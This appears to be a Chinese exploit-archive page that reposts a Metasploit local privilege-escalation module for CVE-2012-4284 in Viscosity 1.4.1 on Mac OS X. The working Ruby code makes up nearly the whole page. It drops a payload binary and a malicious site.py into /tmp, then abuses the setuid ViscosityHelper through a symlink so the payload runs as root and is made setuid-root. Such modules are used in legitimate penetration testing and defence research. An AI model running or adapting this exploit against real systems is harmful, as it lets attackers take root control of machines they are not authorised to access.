首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Viscosity setuid-set ViscosityHelper Privilege Escalation
来源:metasploit.com 作者:vazquez 发布时间:2013-03-06  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
 Rank = ExcellentRanking

 include Msf::Exploit::EXE
 include Msf::Post::File
 include Msf::Post::Common

 def initialize(info={})
  super( update_info( info, {
    'Name'           => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
    'Description'    => %q{
      This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
     vulnerability exists in the setuid ViscosityHelper, where an insufficient
     validation of path names allows execution of arbitrary python code as root.
     This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
     10.7.5.
    },
    'References'     =>
     [
      [ 'CVE', '2012-4284' ],
      [ 'OSVDB', '84709' ],
      [ 'EDB', '20485' ],
      [ 'URL', 'http://blog.zx2c4.com/791' ]
     ],
    'License'        => MSF_LICENSE,
    'Author'         =>
     [
      'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
      'juan vazquez'        # Metasploit module
     ],
    'DisclosureDate' => 'Aug 12 2012',
    'Platform'       => 'osx',
    'Arch'           => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes'   => [ 'shell' ],
    'Targets'        =>
     [
      [ 'Viscosity 1.4.1 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
      [ 'Viscosity 1.4.1 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
     ],
    'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
    'DefaultTarget' => 0
   }))
  register_options([
    # These are not OptPath becuase it's a *remote* path
    OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
    OptString.new("Viscosity",   [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
   ], self.class)
 end

 def check
  if not file?(datastore["Viscosity"])
   print_error "ViscosityHelper not found"
   return CheckCode::Safe
  end

  check = session.shell_command_token("find  #{datastore["Viscosity"]} -type f -user root -perm -4000")

  if check =~ /ViscosityHelper/
   return CheckCode::Vulnerable
  end

  return CheckCode::Safe
 end

 def clean
  file_rm(@link)
  file_rm(@python_file)
  file_rm("#{@python_file}c")
  file_rm(@exe_file)
 end

 def exploit

  exe_name = rand_text_alpha(8)
  @exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
  print_status("Dropping executable #{@exe_file}")
  write_file(@exe_file, generate_payload_exe)

  evil_python =<<-EOF
import os
os.setuid(0)
os.setgid(0)
os.system("chown root #{@exe_file}")
os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
  EOF

  @python_file = "#{datastore["WritableDir"]}/site.py"
  print_status("Dropping python #{@python_file}...")
  write_file(@python_file, evil_python)

  print_status("Creating symlink...")
  link_name = rand_text_alpha(8)
  @link = "#{datastore["WritableDir"]}/#{link_name}"
  cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"

  print_status("Running...")
  begin
   cmd_exec "#{@link}"
  rescue
   print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
   clean
   return
  end
  print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
 end
end

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Setuid Tunnelblick Privilege E
·Raspberry Pi rpi-update Local
·Sami FTP Server 2.0.1 LIST Com
·Subversion 1.6.17 Denial Of Se
·Hanso Player 2.1.0 (.m3u) - Bu
·SIP Witch 0.7.4 Denial Of Serv
·Ruby Gem ftpd-0.2.1 Remote Com
·Samsung TV Denial Of Service
·Fileutils Ruby Gem Remote Comm
·Varnish 2.1.5 / 3.0.3 Denial O
·Squid 3.x Denial Of Service
·PolarPearCms PHP File Upload V
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved